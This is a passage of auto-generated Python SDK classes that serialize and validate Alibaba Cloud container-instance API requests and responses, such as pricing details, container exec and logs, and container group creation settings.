DescribeContainerGroupPriceResponsePriceInfoSpotPrices(TeaModel): def __init__(self, spot_price=None): self.spot_price = [] def validate(self): self.validate_required(self.spot_price, 'spot_price') if self.spot_price: for k in self.spot_price: if k : k.validate() def to_map(self): result = {} result['SpotPrice'] = [] if self.spot_price is not None: for k in self.spot_price: result['SpotPrice'].append(k.to_map() if k else None) else: result['SpotPrice'] = None return result def from_map(self, map={}): self.spot_price = [] if map.get('SpotPrice') is not None: for k in map.get('SpotPrice'): temp_model = DescribeContainerGroupPriceResponsePriceInfoSpotPricesSpotPrice() temp_model = temp_model.from_map(k) self.spot_price.append(temp_model) else: self.spot_price = None return self class DescribeContainerGroupPriceResponsePriceInfoPriceDetailInfosDetailInfoRulesRule(TeaModel): def __init__(self, rule_id=None, description=None): self.rule_id = rule_id self.description = description def validate(self): self.validate_required(self.rule_id, 'rule_id') self.validate_required(self.description, 'description') def to_map(self): result = {} result['RuleId'] = self.rule_id result['Description'] = self.description return result def from_map(self, map={}): self.rule_id = map.get('RuleId') self.description = map.get('Description') return self class DescribeContainerGroupPriceResponsePriceInfoPriceDetailInfosDetailInfoRules(TeaModel): def __init__(self, rule=None): self.rule = [] def validate(self): self.validate_required(self.rule, 'rule') if self.rule: for k in self.rule: if k : k.validate() def to_map(self): result = {} result['Rule'] = [] if self.rule is not None: for k in self.rule: result['Rule'].append(k.to_map() if k else None) else: result['Rule'] = None return result def from_map(self, map={}): self.rule = [] if map.get('Rule') is not None: for k in map.get('Rule'): temp_model = DescribeContainerGroupPriceResponsePriceInfoPriceDetailInfosDetailInfoRulesRule() temp_model = temp_model.from_map(k) self.rule.append(temp_model) else: self.rule = None return self class DescribeContainerGroupPriceResponsePriceInfoPriceDetailInfosDetailInfo(TeaModel): def __init__(self, resource=None, original_price=None, discount_price=None, trade_price=None, rules=None): self.resource = resource self.original_price = original_price self.discount_price = discount_price self.trade_price = trade_price self.rules = rules def validate(self): self.validate_required(self.resource, 'resource') self.validate_required(self.original_price, 'original_price') self.validate_required(self.discount_price, 'discount_price') self.validate_required(self.trade_price, 'trade_price') self.validate_required(self.rules, 'rules') if self.rules: self.rules.validate() def to_map(self): result = {} result['Resource'] = self.resource result['OriginalPrice'] = self.original_price result['DiscountPrice'] = self.discount_price result['TradePrice'] = self.trade_price if self.rules is not None: result['Rules'] = self.rules.to_map() else: result['Rules'] = None return result def from_map(self, map={}): self.resource = map.get('Resource') self.original_price = map.get('OriginalPrice') self.discount_price = map.get('DiscountPrice') self.trade_price = map.get('TradePrice') if map.get('Rules') is not None: temp_model = DescribeContainerGroupPriceResponsePriceInfoPriceDetailInfosDetailInfoRules() self.rules = temp_model.from_map(map['Rules']) else: self.rules = None return self class DescribeContainerGroupPriceResponsePriceInfoPriceDetailInfos(TeaModel): def __init__(self, detail_info=None): self.detail_info = [] def validate(self): self.validate_required(self.detail_info, 'detail_info') if self.detail_info: for k in self.detail_info: if k : k.validate() def to_map(self): result = {} result['DetailInfo'] = [] if self.detail_info is not None: for k in self.detail_info: result['DetailInfo'].append(k.to_map() if k else None) else: result['DetailInfo'] = None return result def from_map(self, map={}): self.detail_info = [] if map.get('DetailInfo') is not None: for k in map.get('DetailInfo'): temp_model = DescribeContainerGroupPriceResponsePriceInfoPriceDetailInfosDetailInfo() temp_model = temp_model.from_map(k) self.detail_info.append(temp_model) else: self.detail_info = None return self class DescribeContainerGroupPriceResponsePriceInfoPrice(TeaModel): def __init__(self, original_price=None, discount_price=None, trade_price=None, currency=None, detail_infos=None): self.original_price = original_price self.discount_price = discount_price self.trade_price = trade_price self.currency = currency self.detail_infos = detail_infos def validate(self): self.validate_required(self.original_price, 'original_price') self.validate_required(self.discount_price, 'discount_price') self.validate_required(self.trade_price, 'trade_price') self.validate_required(self.currency, 'currency') self.validate_required(self.detail_infos, 'detail_infos') if self.detail_infos: self.detail_infos.validate() def to_map(self): result = {} result['OriginalPrice'] = self.original_price result['DiscountPrice'] = self.discount_price result['TradePrice'] = self.trade_price result['Currency'] = self.currency if self.detail_infos is not None: result['DetailInfos'] = self.detail_infos.to_map() else: result['DetailInfos'] = None return result def from_map(self, map={}): self.original_price = map.get('OriginalPrice') self.discount_price = map.get('DiscountPrice') self.trade_price = map.get('TradePrice') self.currency = map.get('Currency') if map.get('DetailInfos') is not None: temp_model = DescribeContainerGroupPriceResponsePriceInfoPriceDetailInfos() self.detail_infos = temp_model.from_map(map['DetailInfos']) else: self.detail_infos = None return self class DescribeContainerGroupPriceResponsePriceInfo(TeaModel): def __init__(self, rules=None, spot_prices=None, price=None): self.rules = rules self.spot_prices = spot_prices self.price = price def validate(self): self.validate_required(self.rules, 'rules') if self.rules: self.rules.validate() self.validate_required(self.spot_prices, 'spot_prices') if self.spot_prices: self.spot_prices.validate() self.validate_required(self.price, 'price') if self.price: self.price.validate() def to_map(self): result = {} if self.rules is not None: result['Rules'] = self.rules.to_map() else: result['Rules'] = None if self.spot_prices is not None: result['SpotPrices'] = self.spot_prices.to_map() else: result['SpotPrices'] = None if self.price is not None: result['Price'] = self.price.to_map() else: result['Price'] = None return result def from_map(self, map={}): if map.get('Rules') is not None: temp_model = DescribeContainerGroupPriceResponsePriceInfoRules() self.rules = temp_model.from_map(map['Rules']) else: self.rules = None if map.get('SpotPrices') is not None: temp_model = DescribeContainerGroupPriceResponsePriceInfoSpotPrices() self.spot_prices = temp_model.from_map(map['SpotPrices']) else: self.spot_prices = None if map.get('Price') is not None: temp_model = DescribeContainerGroupPriceResponsePriceInfoPrice() self.price = temp_model.from_map(map['Price']) else: self.price = None return self class ExecContainerCommandRequest(TeaModel): def __init__(self, region_id=None, container_group_id=None, container_name=None, command=None, _tty=None, stdin=None): self.region_id = region_id self.container_group_id = container_group_id self.container_name = container_name self.command = command self._tty = _tty self.stdin = stdin def validate(self): self.validate_required(self.region_id, 'region_id') self.validate_required(self.container_group_id, 'container_group_id') self.validate_required(self.container_name, 'container_name') self.validate_required(self.command, 'command') def to_map(self): result = {} result['RegionId'] = self.region_id result['ContainerGroupId'] = self.container_group_id result['ContainerName'] = self.container_name result['Command'] = self.command result['TTY'] = self._tty result['Stdin'] = self.stdin return result def from_map(self, map={}): self.region_id = map.get('RegionId') self.container_group_id = map.get('ContainerGroupId') self.container_name = map.get('ContainerName') self.command = map.get('Command') self._tty = map.get('TTY') self.stdin = map.get('Stdin') return self class ExecContainerCommandResponse(TeaModel): def __init__(self, request_id=None, web_socket_uri=None): self.request_id = request_id self.web_socket_uri = web_socket_uri def validate(self): self.validate_required(self.request_id, 'request_id') self.validate_required(self.web_socket_uri, 'web_socket_uri') def to_map(self): result = {} result['RequestId'] = self.request_id result['WebSocketUri'] = self.web_socket_uri return result def from_map(self, map={}): self.request_id = map.get('RequestId') self.web_socket_uri = map.get('WebSocketUri') return self class DescribeContainerLogRequest(TeaModel): def __init__(self, region_id=None, container_group_id=None, container_name=None, start_time=None, tail=None, last_time=None, since_seconds=None, limit_bytes=None): self.region_id = region_id self.container_group_id = container_group_id self.container_name = container_name self.start_time = start_time self.tail = tail self.last_time = last_time self.since_seconds = since_seconds self.limit_bytes = limit_bytes def validate(self): self.validate_required(self.region_id, 'region_id') self.validate_required(self.container_group_id, 'container_group_id') self.validate_required(self.container_name, 'container_name') def to_map(self): result = {} result['RegionId'] = self.region_id result['ContainerGroupId'] = self.container_group_id result['ContainerName'] = self.container_name result['StartTime'] = self.start_time result['Tail'] = self.tail result['LastTime'] = self.last_time result['SinceSeconds'] = self.since_seconds result['LimitBytes'] = self.limit_bytes return result def from_map(self, map={}): self.region_id = map.get('RegionId') self.container_group_id = map.get('ContainerGroupId') self.container_name = map.get('ContainerName') self.start_time = map.get('StartTime') self.tail = map.get('Tail') self.last_time = map.get('LastTime') self.since_seconds = map.get('SinceSeconds') self.limit_bytes = map.get('LimitBytes') return self class DescribeContainerLogResponse(TeaModel): def __init__(self, request_id=None, container_name=None, content=None): self.request_id = request_id self.container_name = container_name self.content = content def validate(self): self.validate_required(self.request_id, 'request_id') self.validate_required(self.container_name, 'container_name') self.validate_required(self.content, 'content') def to_map(self): result = {} result['RequestId'] = self.request_id result['ContainerName'] = self.container_name result['Content'] = self.content return result def from_map(self, map={}): self.request_id = map.get('RequestId') self.container_name = map.get('ContainerName') self.content = map.get('Content') return self class CreateContainerGroupRequest(TeaModel): def __init__(self, region_id=None, zone_id=None, security_group_id=None, v_switch_id=None, container_group_name=None, restart_policy=None, tag=None, image_registry_credential=None, container=None, volume=None, eip_instance_id=None, init_container=None, dns_config=None, cpu=None, memory=None, resource_group_id=None, dns_policy=None, client_token=None, host_aliase=None, arn=None, instance_type=None, security_context=None, sls_enable=None, image_snapshot_id=None, ram_role_name=None, ntp_server=None, termination_grace_period_seconds=None, auto_match_image_cache=None, ipv_6address_count=None, active_deadline_seconds=None, spot_strategy=None, spot_price_limit=None, schedule_strategy=None, tenant_vswitch_id=None, tenant_security_group_id=None, core_pattern=None): self.region_id = region_id self.zone_id = zone_id self.security_group_id = security_group_id self.v_switch_id = v_switch_id self.container_group_name = container_group_name self.restart_policy = restart_policy self.tag = [] self.image_registry_credential = [] self.container = [] self.volume = [] self.eip_instance_id = eip_instance_id self.init_container = [] self.dns_config = dns_config self.cpu = cpu self.memory = memory self.resource_group_id = resource_group_id self.dns_policy = dns_policy self.client_token = client_token self.host_aliase = [] self.arn = [] self.instance_type = instance_type self.security_context = security_context self.sls_enable = sls_enable self.image_snapshot_id = image_snapshot_id self.ram_role_name = ram_role_name self.ntp_server = [] self.termination_grace_period_seconds = termination_grace_period_seconds self.auto_match_image_cache = auto_match_image_cache self.ipv_6address_count = ipv_6address_count self.active_deadline_seconds = active_deadline_seconds self.spot_strategy = spot_strategy self.spot_price_limit = spot_price_limit self.schedule_strategy = schedule_strategy self.tenant_vswitch_id = tenant_vswitch_id self.tenant_security_group_id = tenant_security_group_id self.core_pattern = core_pattern def validate(self): self.validate_required(self.region_id, 'region_id') self.validate_required(self.security_group_id, 'security_group_id') self.validate_required(self.v_switch_id, 'v_switch_id') self.validate_required(self.container_group_name, 'container_group_name') if self.tag: for k in self.tag: if k : k.validate() if self.image_registry_credential: for k in self.image_registry_credential: if k : k.validate() self.validate_required(self.container, 'container') if self.container: for k in self.container: if k : k.validate() if self.volume: for k in self.volume: if k : k.validate() if self.init_container: for k in self.init_container: if k : k.validate() self.validate_required(self.dns_config, 'dns_config') if self.dns_config: self.dns_config.validate() if self.host_aliase: for k in self.host_aliase: if k : k.validate() if self.arn: for k in self.arn: if k : k.validate() self.validate_required(self.security_context, 'security_context') if self.security_context: self.security_context.validate() def to_map(self): result = {} result['RegionId'] = self.region_id result['ZoneId'] = self.zone_id result['SecurityGroupId'] = self.security_group_id result['VSwitchId'] = self.v_switch_id result['ContainerGroupName'] = self.container_group_name result['RestartPolicy'] = self.restart_policy result['Tag'] = [] if self.tag is not None: for k in self.tag: result['Tag'].append(k.to_map() if k else None) else: result['Tag'] = None result['ImageRegistryCredential'] = [] if self.image_registry_credential is not None: for k in self.image_registry_credential: result['ImageRegistryCredential'].append(k.to_map() if k else None) else: result['ImageRegistryCredential'] = None result['Container'] = [] if self.container is not None: for k in self.container: result['Container'].append(k.to_map() if k else None) else: result['Container'] = None result['Volume'] = [] if self.volume is not None: for k in self.volume: result['Volume'].append(k.to_map() if k else None) else: result['Volume'] = None result['EipInstanceId'] = self.eip_instance_id result['InitContainer'] = [] if self.init_container is not None: for k in self.init_container: result['InitContainer'].append(k.to_map() if k else None) else: result['InitContainer'] = None if self.dns_config is not None: result['DnsConfig'] = self.dns_config.to_map() else: result['DnsConfig'] = None result['Cpu'] = self.cpu result['Memory'] = self.memory result['ResourceGroupId'] = self.resource_group_id result['DnsPolicy'] = self.dns_policy result['ClientToken'] = self.client_token result['HostAliase'] = [] if self.host_aliase is not None: for k in self.host_aliase: result['HostAliase'].append(k.to_map() if k else None) else: result['HostAliase'] = None result['Arn'] = [] if self.arn is not None: for k in self.arn: result['Arn'].append(k.to_map() if k else None) else: result['Arn'] = None result['InstanceType'] = self.instance_type if self.security_context is not None: result['SecurityContext'] = self.security_context.to_map() else: result['SecurityContext'] = None result['SlsEnable'] = self.sls_enable result['ImageSnapshotId'] = self.image_snapshot_id result['RamRoleName'] = self.ram_role_name result['NtpServer'] = [] if self.ntp_server is not None: for k in self.ntp_server: result['NtpServer'].append(k) else: result['NtpServer'] = None result['TerminationGracePeriodSeconds'] = self.termination_grace_period_seconds result['AutoMatchImageCache'] = self.auto_match_image_cache result['Ipv6AddressCount'] = self.ipv_6address_count result['ActiveDeadlineSeconds'] = self.active_deadline_seconds result['SpotStrategy'] = self.spot_strategy result['SpotPriceLimit'] = self.spot_price_limit result['ScheduleStrategy'] = self.schedule_strategy result['TenantVSwitchId'] = self.tenant_vswitch_id result['TenantSecurityGroupId'] = self.tenant_security_group_id result['CorePattern'] = self.core_pattern return result def from_map(self, map={}): self.region_id = map.get('RegionId') self.zone_id = map.get('ZoneId') self.security_group_id = map.get('SecurityGroupId') self.v_switch_id = map.get('VSwitchId') self.container_group_name = map.get('ContainerGroupName') self.restart_policy = map.get('RestartPolicy') self.tag = [] if map.get('Tag') is not None: for k in map.get('Tag'): temp_model = CreateContainerGroupRequestTag() temp_model = temp_model.from_map(k) self.tag.append(temp_model) else: self.tag = None self.image_registry_credential = [] if map.get('ImageRegistryCredential') is not None: for k in map.get('ImageRegistryCredential'): temp_model = CreateContainerGroupRequestImageRegistryCredential() temp_model = temp_model.from_map(k) self.image_registry_credential.append(temp_model) else: self.image_registry_credential = None self.container = [] if map.get('Container') is not None: for k in map.get('Container'): temp_model = CreateContainerGroupRequestContainer() temp_model = temp_model.from_map(k) self.container.append(temp_model) else: self.container = None self.volume = [] if map.get('Volume') is not None: for k in map.get('Volume'): temp_model = CreateContainerGroupRequestVolume() temp_model = temp_model.from_map(k) self.volume.append(temp_model) else: self.volume = None self.eip_instance_id = map.get('EipInstanceId') self.init_container = [] if map.get('InitContainer') is not None: for k in map.get('InitContainer'): temp_model = CreateContainerGroupRequestInitContainer() temp_model = temp_model.from_map(k) self.init_container.append(temp_model) else: self.init_container = None if map.get('DnsConfig') is not None: temp_model = CreateContainerGroupRequestDnsConfig() self.dns_config = temp_model.from_map(map['DnsConfig']) else: self.dns_config = None self.cpu = map.get('Cpu') self.memory = map.get('Memory') self.resource_group_id = map.get('ResourceGroupId') self.dns_policy = map.get('DnsPolicy') self.client_token = map.get('ClientToken') self.host_aliase = [] if map.get('HostAliase') is not None: for k in map.get('HostAliase'): temp_model = CreateContainerGroupRequestHostAliase() temp_model = temp_model.from_map(k) self.host_aliase.append(temp_model) else: self.host_aliase = None self.arn = [] if map.get('Arn') is not None: for k in map.get('Arn'): temp_model = CreateContainerGroupRequestArn() temp_model = temp_model.from_map(k) self.arn.append(temp_model) else: self.arn = None self.instance_type = map.get('InstanceType') if map.get('SecurityContext') is not None: temp_model = CreateContainerGroupRequestSecurityContext() self.security_context = temp_model.from_map(map['SecurityContext']) else: self.security_context = None self.sls_enable = map.get('SlsEnable') self.image_snapshot_id = map.get('ImageSnapshotId') self.ram_role_name = map.get('RamRoleName') self.ntp_server = [] if map.get('NtpServer') is not None: for k in map.get('NtpServer'): self.ntp_server.append(k) else: self.ntp_server = None self.termination_grace_period_seconds = map.get('TerminationGracePeriodSeconds') self.auto_match_image_cache = map.get('AutoMatchImageCache') self.ipv_6address_count = map.get('Ipv6AddressCount') self.active_deadline_seconds = map.get('ActiveDeadlineSeconds') self.spot_strategy = map.get('SpotStrategy') self.spot_price_limit = map.get('SpotPriceLimit') self.schedule_strategy = map.get('ScheduleStrategy') self.tenant_vswitch_id = map.get('TenantVSwitchId') self.tenant_security_group_id = map.get('TenantSecurityGroupId') self.core_pattern = map.get('CorePattern') return self class CreateContainerGroupRequestTag(TeaModel): def __init__(self, key=None, value=None): self.key = key self.value = value def validate(self): self.validate_required(self.key, 'key') self.validate_required(self.value, 'value') def to_map(self): result = {} result['Key'] = self.key result['Value'] = self.value return result def from_map(self, map={}): self.key = map.get('Key') self.value = map.get('Value') return self class CreateContainerGroupRequestImageRegistryCredential(TeaModel): def __init__(self, server=None, user_name=None, password=None): self.server = server self.user_name = user_name self.password = password def validate(self): self.validate_required(self.server, 'server') self.validate_required(self.user_name, 'user_name') self.validate_required(self.password, 'password') def to_map(self): result = {} result['Server'] = self.server result['UserName'] = self.user_name result['Password'] = self.password return result def from_map(self, map={}): self.server = map.get('Server') self.user_name = map.get('UserName') self.password = map.get('Password') return self class CreateContainerGroupRequestContainerVolumeMount(TeaModel): def __init__(self, mount_path=None, read_only=None, name=None, sub_path=None): self.mount_path = mount_path self.read_only = read_only self.name = name self.sub_path = sub_path def validate(self): self.validate_required(self.mount_path, 'mount_path') self.validate_required(self.read_only, 'read_only') def to_map(self): result = {} result['MountPath'] = self.mount_path result['ReadOnly'] = self.read_only result['Name'] = self.name result['SubPath'] = self.sub_path return result def from_map(self, map={}): self.mount_path = map.get('MountPath') self.read_only = map.get('ReadOnly') self.name = map.get('Name') self.sub_path = map.get('SubPath') return self class CreateContainerGroupRequestContainerPort(TeaModel): def __init__(self, protocol=None, port=None): self.protocol = protocol self.port = port def validate(self): self.validate_required(self.protocol, 'protocol') self.validate_required(self.port, 'port') def to_map(self): result = {} result['Protocol'] = self.protocol result['Port'] = self.port return result def from_map(self, map={}): self.protocol = map.get('Protocol') self.port = map.get('Port') return self class CreateContainerGroupRequestContainerEnvironmentVarFieldRef(TeaModel): def __init__(self, field_path=None): self.field_path = field_path def validate(self): pass def to_map(self): result = {} result['FieldPath'] = self.field_path return result def from_map(self, map={}): self.field_path = map.get('FieldPath') return self class CreateContainerGroupRequestContainerEnvironmentVar(TeaModel): def __init__(self, key=None, value=None, field_ref=None): self.key = key self.value = value self.field_ref = field_ref def validate(self): self.validate_required(self.field_ref, 'field_ref') if self.field_ref: self.field_ref.validate() def to_map(self): result = {} result['Key'] = self.key result['Value'] = self.value if self.field_ref is not None: result['FieldRef'] = self.field_ref.to_map() else: result['FieldRef'] = None return result def from_map(self, map={}): self.key = map.get('Key') self.value = map.get('Value') if map.get('FieldRef') is not None: temp_model = CreateContainerGroupRequestContainerEnvironmentVarFieldRef() self.field_ref = temp_model.from_map(map['FieldRef']) else: self.field_ref = None return self class CreateContainerGroupRequestContainerReadinessProbeHttpGet(TeaModel): def __init__(self, path=None, port=None, scheme=None): self.path = path self.port = port self.scheme = scheme def validate(self): pass def to_map(self): result = {} result['Path'] = self.path result['Port'] = self.port result['Scheme'] = self.scheme return result def from_map(self, map={}): self.path = map.get('Path') self.port = map.get('Port') self.scheme = map.get('Scheme') return self class CreateContainerGroupRequestContainerReadinessProbeExec(TeaModel): def __init__(self, command=None): self.command = [] def validate(self): self.validate_required(self.command, 'command') def to_map(self): result = {} result['Command'] = [] if self.command is not None: for k in self.command: result['Command'].append(k) else: result['Command'] = None return result def from_map(self, map={}): self.command = [] if map.get('Command') is not None: for k in map.get('Command'): self.command.append(k) else: self.command = None return self class CreateContainerGroupRequestContainerReadinessProbeTcpSocket(TeaModel): def __init__(self, port=None): self.port = port def validate(self): pass def to_map(self): result = {} result['Port'] = self.port return result def from_map(self, map={}): self.port = map.get('Port') return self class CreateContainerGroupRequestContainerReadinessProbe(TeaModel): def __init__(self, http_get=None, initial_delay_seconds=None, period_seconds=None, success_threshold=None, failure_threshold=None, timeout_seconds=None, exec=None, tcp_socket=None): self.http_get = http_get self.initial_delay_seconds = initial_delay_seconds self.period_seconds = period_seconds self.success_threshold = success_threshold self.failure_threshold = failure_threshold self.timeout_seconds = timeout_seconds self.exec = exec self.tcp_socket = tcp_socket def validate(self): self.validate_required(self.http_get, 'http_get') if self.http_get: self.http_get.validate() self.validate_required(self.exec, 'exec') if self.exec: self.exec.validate() self.validate_required(self.tcp_socket, 'tcp_socket') if self.tcp_socket: self.tcp_socket.validate() def to_map(self): result = {} if self.http_get is not None: result['HttpGet'] = self.http_get.to_map() else: result['HttpGet'] = None result['InitialDelaySeconds'] = self.initial_delay_seconds result['PeriodSeconds'] = self.period_seconds result['SuccessThreshold'] = self.success_threshold result['FailureThreshold'] = self.failure_threshold result['TimeoutSeconds'] = self.timeout_seconds if self.exec is not None: result['Exec'] = self.exec.to_map() else: result['Exec'] = None if self.tcp_socket is not None: result['TcpSocket'] = self.tcp_socket.to_map() else: result['TcpSocket'] = None return result def from_map(self, map={}): if map.get('HttpGet') is not None: temp_model = CreateContainerGroupRequestContainerReadinessProbeHttpGet() self.http_get = temp_model.from_map(map['HttpGet']) else: self.http_get = None self.initial_delay_seconds = map.get('InitialDelaySeconds') self.period_seconds = map.get('PeriodSeconds') self.success_threshold = map.get('SuccessThreshold') self.failure_threshold = map.get('FailureThreshold') self.timeout_seconds = map.get('TimeoutSeconds') if map.get('Exec') is not None: temp_model = CreateContainerGroupRequestContainerReadinessProbeExec() self.exec = temp_model.from_map(map['Exec']) else: self.exec = None if map.get('TcpSocket') is not None: temp_model = CreateContainerGroupRequestContainerReadinessProbeTcpSocket() self.tcp_socket = temp_model.from_map(map['TcpSocket']) else: self.tcp_socket = None return self class CreateContainerGroupRequestContainerLivenessProbeHttpGet(TeaModel): def __init__(self, path=None, port=None, scheme=None): self.path = path self.port = port self.scheme = scheme def validate(self): pass def to_map(self): result = {} result['Path'] = self.path result['Port'] = self.port result['Scheme'] = self.scheme return result def from_map(self, map={}): self.path = map.get('Path') self.port = map.get('Port') self.scheme = map.get('Scheme') return self class CreateContainerGroupRequestContainerLivenessProbeExec(TeaModel): def __init__(self, command=None): self.command = [] def validate(self): self.validate_required(self.command, 'command') def to_map(self): result = {} result['Command'] = [] if self.command is not None: for k in self.command: result['Command'].append(k) else: result['Command'] = None return result def from_map(self, map={}): self.command = [] if map.get('Command') is not None: for k in map.get('Command'): self.command.append(k) else: self.command = None return self class CreateContainerGroupRequestContainerLivenessProbeTcpSocket(TeaModel): def __init__(self, port=None): self.port = port def validate(self): pass def to_map(self): result = {} result['Port'] = self.port return result def from_map(self, map={}): self.port = map.get('Port') return self class CreateContainerGroupRequestContainerLivenessProbe(TeaModel): def __init__(self, http_get=None, initial_delay_seconds=None, period_seconds=None, success_threshold=None, failure_threshold=None, timeout_seconds=None, exec=None, tcp_socket=None): self.http_get = http_get self.initial_delay_seconds = initial_delay_seconds self.period_seconds = period_seconds self.success_threshold = success_threshold self.failure_threshold = failure_threshold self.timeout_seconds = timeout_seconds self.exec = exec self.tcp_socket = tcp_socket def validate(self): self.validate_required(self.http_get, 'http_get') if self.http_get: self.http_get.validate() self.validate_required(self.exec, 'exec') if self.exec: self.exec.validate() self.validate_required(self.tcp_socket, 'tcp_socket') if self.tcp_socket: self.tcp_socket.validate() def to_map(self): result = {} if self.http_get is not None: result['HttpGet'] = self.http_get.to_map() else: result['HttpGet'] = None result['InitialDelaySeconds'] = self.initial_delay_seconds result['PeriodSeconds'] = self.period_seconds result['SuccessThreshold'] = self.success_threshold result['FailureThreshold'] = self.failure_threshold result['TimeoutSeconds'] = self.timeout_seconds if self.exec is not None: result['Exec'] = self.exec.to_map() else: result['Exec'] = None if self.tcp_socket is not None: result['TcpSocket'] = self.tcp_socket.to_map() else: result['TcpSocket'] = None return result def from_map(self, map={}): if map.get('HttpGet') is not None: temp_model = CreateContainerGroupRequestContainerLivenessProbeHttpGet() self.http_get = temp_model.from_map(map['HttpGet']) else: self.http_get = None self.initial_delay_seconds = map.get('InitialDelaySeconds') self.period_seconds = map.get('PeriodSeconds') self.success_threshold = map.get('SuccessThreshold') self.failure_threshold = map.get('FailureThreshold') self.timeout_seconds = map.get('TimeoutSeconds') if map.get('Exec') is not None: temp_model = CreateContainerGroupRequestContainerLivenessProbeExec() self.exec = temp_model.from_map(map['Exec']) else: self.exec = None if map.get('TcpSocket') is not None: temp_model = CreateContainerGroupRequestContainerLivenessProbeTcpSocket() self.tcp_socket = temp_model.from_map(map['TcpSocket']) else: self.tcp_socket = None return self class CreateContainerGroupRequestContainerSecurityContextCapability(TeaModel): def __init__(self, add=None): self.add = [] def validate(self): self.validate_required(self.add, 'add') def to_map(self): result = {} result['Add'] = [] if self.add is not None: for k in self.add: result['Add'].append(k) else: result['Add'] = None return result def from_map(self, map={}): self.add = [] if map.get('Add') is not None: for k in map.get('Add'): self.add.append(k) else: self.add = None return self class CreateContainerGroupRequestContainerSecurityContext(TeaModel): def __init__(self, capability=None, read_only_root_filesystem=None, run_as_user=None): self.capability = capability self.read_only_root_filesystem = read_only_root_filesystem self.run_as_user = run_as_user def validate(self): self.validate_required(self.capability, 'capability') if self.capability: self.capability.validate() def to_map(self): result = {} if self.capability is not None: result['Capability'] = self.capability.to_map() else: result['Capability'] = None result['ReadOnlyRootFilesystem'] = self.read_only_root_filesystem result['RunAsUser'] = self.run_as_user return result def from_map(self, map={}): if map.get('Capability') is not None: temp_model = CreateContainerGroupRequestContainerSecurityContextCapability() self.capability = temp_model.from_map(map['Capability']) else: self.capability = None self.read_only_root_filesystem = map.get('ReadOnlyRootFilesystem') self.run_as_user = map.get('RunAsUser') return self class CreateContainerGroupRequestContainerLifecyclePostStartHandlerHttpGetHttpHeader(TeaModel): def __init__(self, name=None, value=None): self.name = name self.value = value def validate(self): pass def to_map(self): result = {} result['Name'] = self.name result['Value'] = self.value return result def from_map(self, map={}): self.name = map.get('Name') self.value = map.get('Value') return self class CreateContainerGroupRequestContainerLifecyclePreStopHandlerHttpGetHttpHeader(TeaModel): def __init__(self, name=None, value=None): self.name = name self.value = value def validate(self): pass def to_map(self): result = {} result['Name'] = self.name result['Value'] = self.value return result def from_map(self, map={}): self.name = map.get('Name') self.value = map.get('Value') return self class CreateContainerGroupRequestContainer(TeaModel): def __init__(self, image=None, name=None, cpu=None, memory=None, working_dir=None, image_pull_policy=None, command=None, arg=None, volume_mount=None, port=None, environment_var=None, readiness_probe=None, liveness_probe=None, security_context=None, stdin=None, stdin_once=None, tty=None, gpu=None, lifecycle_post_start_handler_http_get_host=None, lifecycle_post_start_handler_http_get_port=None, lifecycle_post_start_handler_http_get_path=None, lifecycle_post_start_handler_http_get_scheme=None, lifecycle_post_start_handler_http_get_http_header=None, lifecycle_post_start_handler_exec=None, lifecycle_post_start_handler_tcp_socket_host=None, lifecycle_post_start_handler_tcp_socket_port=None, lifecycle_pre_stop_handler_http_get_host=None, lifecycle_pre_stop_handler_http_get_port=None, lifecycle_pre_stop_handler_http_get_path=None, lifecycle_pre_stop_handler_http_get_scheme=None, lifecycle_pre_stop_handler_http_get_http_header=None, lifecycle_pre_stop_handler_exec=None, lifecycle_pre_stop_handler_tcp_socket_host=None, lifecycle_pre_stop_handler_tcp_socket_port=None, termination_message_path=None, termination_message_policy=None): self.image = image self.name = name self.cpu = cpu self.memory = memory self.working_dir = working_dir self.image_pull_policy = image_pull_policy self.command = [] self.arg = [] self.volume_mount = [] self.port = [] self.environment_var = [] self.readiness_probe = readiness_probe self.liveness_probe = liveness_probe self.security_context = security_context self.stdin = stdin self.stdin_once = stdin_once self.tty = tty self.gpu = gpu self.lifecycle_post_start_handler_http_get_host = lifecycle_post_start_handler_http_get_host self.lifecycle_post_start_handler_http_get_port = lifecycle_post_start_handler_http_get_port self.lifecycle_post_start_handler_http_get_path = lifecycle_post_start_handler_http_get_path self.lifecycle_post_start_handler_http_get_scheme = lifecycle_post_start_handler_http_get_scheme self.lifecycle_post_start_handler_http_get_http_header = [] self.lifecycle_post_start_handler_exec = [] self.lifecycle_post_start_handler_tcp_socket_host = lifecycle_post_start_handler_tcp_socket_host self.lifecycle_post_start_handler_tcp_socket_port = lifecycle_post_start_handler_tcp_socket_port self.lifecycle_pre_stop_handler_http_get_host = lifecycle_pre_stop_handler_http_get_host self.lifecycle_pre_stop_handler_http_get_port = lifecycle_pre_stop_handler_http_get_port self.lifecycle_pre_stop_handler_http_get_path = lifecycle_pre_stop_handler_http_get_path self.lifecycle_pre_stop_handler_http_get_scheme = lifecycle_pre_stop_handler_http_get_scheme self.lifecycle_pre_stop_handler_http_get_http_header = [] self.lifecycle_pre_stop_handler_exec = [] self.lifecycle_pre_stop_handler_tcp_socket_host = lifecycle_pre_stop_handler_tcp_socket_host self.lifecycle_pre_stop_handler_tcp_socket_port = lifecycle_pre_stop_handler_tcp_socket_port self.termination_message_path = termination_message_path self.termination_message_policy = termination_message_policy def validate(self): self.validate_required(self.image, 'image') self.validate_required(self.name, 'name') if self.volume_mount: for k in self.volume_mount: if k : k.validate() if self.port: for k in self.port: if k : k.validate() if self.environment_var: for k in self.environment_var: if k : k.validate() self.validate_required(self.readiness_probe, 'readiness_probe') if self.readiness_probe: self.readiness_probe.validate() self.validate_required(self.liveness_probe, 'liveness_probe') if self.liveness_probe: self.liveness_probe.validate() self.validate_required(self.security_context, 'security_context') if self.security_context: self.security_context.validate() if self.lifecycle_post_start_handler_http_get_http_header: for k in self.lifecycle_post_start_handler_http_get_http_header: if k : k.validate() if self.lifecycle_pre_stop_handler_http_get_http_header: for k in self.lifecycle_pre_stop_handler_http_get_http_header: if k : k.validate() def to_map(self): result = {} result['Image'] = self.image result['Name'] = self.name result['Cpu'] = self.cpu result['Memory'] = self.memory result['WorkingDir'] = self.working_dir result['ImagePullPolicy'] = self.image_pull_policy result['Command'] = [] if self.command is not None: for k in self.command: result['Command'].append(k) else: result['Command'] = None result['Arg'] = [] if self.arg is not None: for k in self.arg: result['Arg'].append(k) else: result['Arg'] = None result['VolumeMount'] = [] if self.volume_mount is not None: for k in self.volume_mount: result['VolumeMount'].append(k.to_map() if k else None) else: result['VolumeMount'] = None result['Port'] = [] if self.port is not None: for k in self.port: result['Port'].append(k.to_map() if k else None) else: result['Port'] = None result['EnvironmentVar'] = [] if self.environment_var is not None: for k in self.environment_var: 